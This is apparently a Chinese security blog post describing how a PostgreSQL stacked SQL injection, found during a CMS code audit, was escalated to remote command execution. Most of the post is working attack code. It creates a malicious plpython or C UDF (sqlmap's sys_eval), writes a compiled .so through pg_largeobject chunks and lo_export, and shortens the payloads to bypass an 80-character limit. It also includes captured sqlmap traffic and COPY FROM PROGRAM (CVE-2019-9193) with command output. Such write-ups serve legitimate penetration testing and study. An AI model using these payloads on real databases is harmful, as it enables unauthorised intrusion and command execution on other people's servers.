记一次Postgresql从堆叠注入到RCE

原创

郁离歌 于 2021-02-01 09:45:04 发布

分类专栏： WEB学习 文章标签： web安全 postgresql

记一次Postgresql从堆叠注入到RCE

文章目录

本次研究过程来自一次某cms的代码审计实战，整个环境部署的相对较好，postgresql、web权限都有单独的用户管理，web目录不可写、服务器不能出网等限制。不过比较幸运的是所有的数据操作都是用同一个superuser权限的postgresql用户来执行的。

限制

审计发现某处存在postgresql堆叠注入，发现postgresql版本为9.2，不过有80个字符的长度限制。尝试使用sqlmap直接打失败，也是长度限制的原因。

udfhack

找了一下参考资料发现JF表哥写的还不错：
https://jianfensec.com/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E4%B8%AD%E5%88%A9%E7%94%A8postgresql%20getshell/

postgresql从8.3开始支持多种编程语言扩展：https://www.postgresql.org/docs/8.3/xplang.html

```
select * from pg_language;
```

可查看当前支持的语言，如果是python之类的可以很轻松的用udf提权，参考：http://drops.xmd5.com/static/drops/tips-6449.html

比如postgresql支持plpython，则创建一个恶意函数：

```
#!sql
CREATE FUNCTION system (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpython2u;
```

然后`select system('ls -la');`即可。

当然了一般来说postgresql默认只支持C,所以要自己传一个编译好的so库去创建可执行命令函数。

源码可以用：https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c

默认是定义了一个`sys_eval`的函数去命令执行。为了减少长度，我这里改成`s`.

然后用本地搭建的环境编译一下：

```
gcc -Wall -I/usr/include/postgresql/9.2/server -Os -shared s.c -fPIC -o s
```

bypass

问题又回到了如何bypass80字符长度限制了，先来看看如果没长度限制是怎么弄的：

这里写入是用了大数据对象写入二进制文件，将udf.so文件分割成每2048字节的块（且必须是2048）,最后一个块的大小不满足2048字节不需要考虑.
为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.

```
SELECT lo_create(9023);尝试创建OID为9023的大对象

insert into pg_largeobject values (9023, 0, decode('xxx', 'hex'));//2048字节
insert into pg_largeobject values (9023, 1, decode('xxx', 'hex'));/2048字节
insert into pg_largeobject values (9023, 2, decode('xxx', 'hex'));/2048字节
insert into pg_largeobject values (9023, 5, decode('xxx', 'hex'));/可以不满2048字节，因为不满的会补0，elf文件末尾补0不影响正常运行

SELECT lo_export(9023, '/tmp/testeval.so');//将对象导出文件
SELECT lo_unlink(9023);//删除对象
```

首先创建一个OID作为写入的对象,然后通过0,1,2,3...分片上传但是对象都为9023最后导出到/tmp目录下,收尾删除OID。

然后导入自定义的恶意函数执行命令：

```
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL
 ON NULL INPUT IMMUTABLE;

select sys_eval('id');

drop function sys_eval;
```

一步一步来，首先是二进制文件写入时，除去最后一个块的长度可以稍微小点其他的都需要想办法压缩，这里我想到的是可以先存在表里面，然后在写入的时候在select取出来，这样的话长度是完全够的。

比如：

```
SELECT lo_create(9); //创建对象

CREATE TABLE a(i serial PRIMARY KEY,c text);
CREATE TABLE b(i int primary key,c text[]);
//先建立两个临时表

INSERT INTO a(i,c) VALUES ({cnt},'{data}');
//每次往临时表a里写入16个的长度二进制字符串


INSERT INTO b VALUES (1,(SELECT array_to_string(array_agg(c order by i) from a),''));
//将字符串聚合起来写入临时表b中

INSERT INTO pg_largeobject VALUES (9,{chunk_cnt},decode((SELECT c FROM b),'hex'))
//按次序hex解码写入对象。

//每2048字节写入一次对象，然后重新开始。

SELECT lo_export(9, '/tmp/s');//写入文件到/tmp目录

SELECT lo_unlink(9);//删除对象
```

然后是创建函数这：

```
>>> len("CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RET
URNS NULL ON NULL INPUT IMMUTABLE;")
137
```

翻了一下文档，其实很多多余的hh，直接压缩成：

```
>>> len("CREATE FUNCTION s(text) RETURNS text AS '/tmp/s','s' LANGUAGE C")
63
```

然后创建language c这种扩展函数必须得superuser权限才能创建。

成功命令执行。

```
SELECT s('touch /tmp/yuligesec');
```

sqlmap的思路

上面有说到过通过研究发现sqlmap是不能直接跑的，但是他的思路却是没啥问题可以直接用，大致和我的想法类似。来看看他的流量:

```
CREATE TABLE sqlmapfile(data text);
SELECT lo_unlink(8394);
SELECT lo_create(8394);
DELETE FROM pg_largeobject WHERE loid=8394--
INSERT INTO sqlmapfile(data) VALUES ((CHR(102)||CHR(48)||CHR(86)||CHR(77)||CHR(82)||CHR(103)||CHR(73)||CHR(66)||
CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(
65)||CHR(65)||CHR(77)||CHR(65)||CHR(80)||CHR(103)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)
||CHR(65)||CHR(48)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CH
R(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65
)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||C
HR(65)||CHR(65)||CHR(79)||CHR(65)||CHR(65)||CHR(71)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(6
5)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(70)||CHR(65)||CHR(65)||CHR(65)||
CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(
65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)|
|CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(74)||CHR(66)||CHR(85)||CHR(65)||CHR
(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(107)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65
)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||C
HR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(89)||CHR(65)||CHR(65)||CHR(6
5)||CHR(65)||CHR(111)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)|
|CHR(103)||CHR(86)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(66)||CH
R(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(68)||CHR(103)||CHR(65)||CHR(103)||CHR
(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(79)||CHR(103)||CHR(67)||CHR(65)||CHR(65)||CHR(65
)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||
CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(103)||CHR(65)||CHR
(65)||CHR(65)||CHR(69)||CHR(65)||CHR(86)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)
));

UPDATE sqlmapfile SET data=data||(CHR(81)||CHR(66)||CHR(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(6
5)||CHR(65)||CHR(66)||CHR(65)||CHR(70)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||
CHR(78)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)||CHR(
65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)|
|CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR
(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)
||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CH
R(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65
)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||C
HR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(
65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(85)||CHR(79)||CHR(86)||CHR(48)||CHR(90)||
|CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(115)||CHR(69)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||C
HR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(119)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(
65)||CHR(65)||CHR(65)||CHR(114)||CHR(66)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)
||CHR(66)||CHR(115)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(71)||C
HR(119)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(
65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(82)||CHR(53)||CHR(88)||CHR(82)||
|CHR(107)||CHR(66)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||C
HR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(6
5)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||
CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65));
...
INSERT INTO pg_largeobject VALUES (8394, 2, DECODE((SELECT data FROM sqlmapfile), (CHR(98)||CHR(97)||CHR(115)||C
HR(101)||CHR(54)||CHR(52))));
...
SELECT lo_export(8394, (CHR(47)||CHR(116)||CHR(109)||CHR(112)||CHR(47)||CHR(108)||CHR(105)||CHR(98)||CHR(115)||C
HR(109)||CHR(112)||CHR(121)||CHR(106)||CHR(46)||CHR(115)||CHR(111)));;
```

很明显看出来是使用了`||`来做一个字符串加的作用,然后也是用的base64编码传入再解码,然后写入的地址是`/tmp/libsmpyj.so`,lib+5随机字符.so的形式。

按照这个思路其实bypass没啥问题，只不过需要调整一下每次payload的字符长度，再加上又使用的base64，大大增加了写入文件的请求次数。

rwctf2021-DBaaSadge

比赛的时候刚好在做项目，没空看题，当时看到这个题就感觉和上述做的东西很像，后来看了一下dockerfile发现其实不一样，而且除了最后一步执行命令处，前期基本上毫无非预期，都是需要先爆破密码提升到superuser，然后再命令执行。

参考：https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/

这个题是使用了mysql_fdw这个插件然后可以外连mysql，再从外部的mysql导入需要执行的语句从而bypass掉payload长度。

然后又翻到：https://medium.com/bugbountywriteup/dbaasadge-writeup-61ebcdbe4357

https://www.postgresql.org/docs/10/sql-copy.html

如果postgresql版本在9.3以上的话可以直接用`copy program`去执行命令，也就是CVE-2019-9193：

漏洞环境：
https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

```
postgres=# CREATE TABLE cmd_table (dm_output text);
CREATE TABLE
postgres=# COPY cmd_table FROM PROGRAM 'id';
COPY 1
postgres=# SELECT * FROM cmd_table;
dm_output
------------------------------------------------------------------------
uid=101(postgres) gid=103(postgres) groups=103(postgres),102(ssl-cert)
(1 row)
```

闲话

开头有说过web目录不可写且不出网（静态文件也不可写），命令执行也没回显，后来解决是代码审计发现某个地方的验证码是从数据库某特定字段里面取的，所以只需要将命令执行的结果写入到特定字段到地方，再构造poc访问验证码页面拿到命令执行的结果图片ocr一下即可exp化。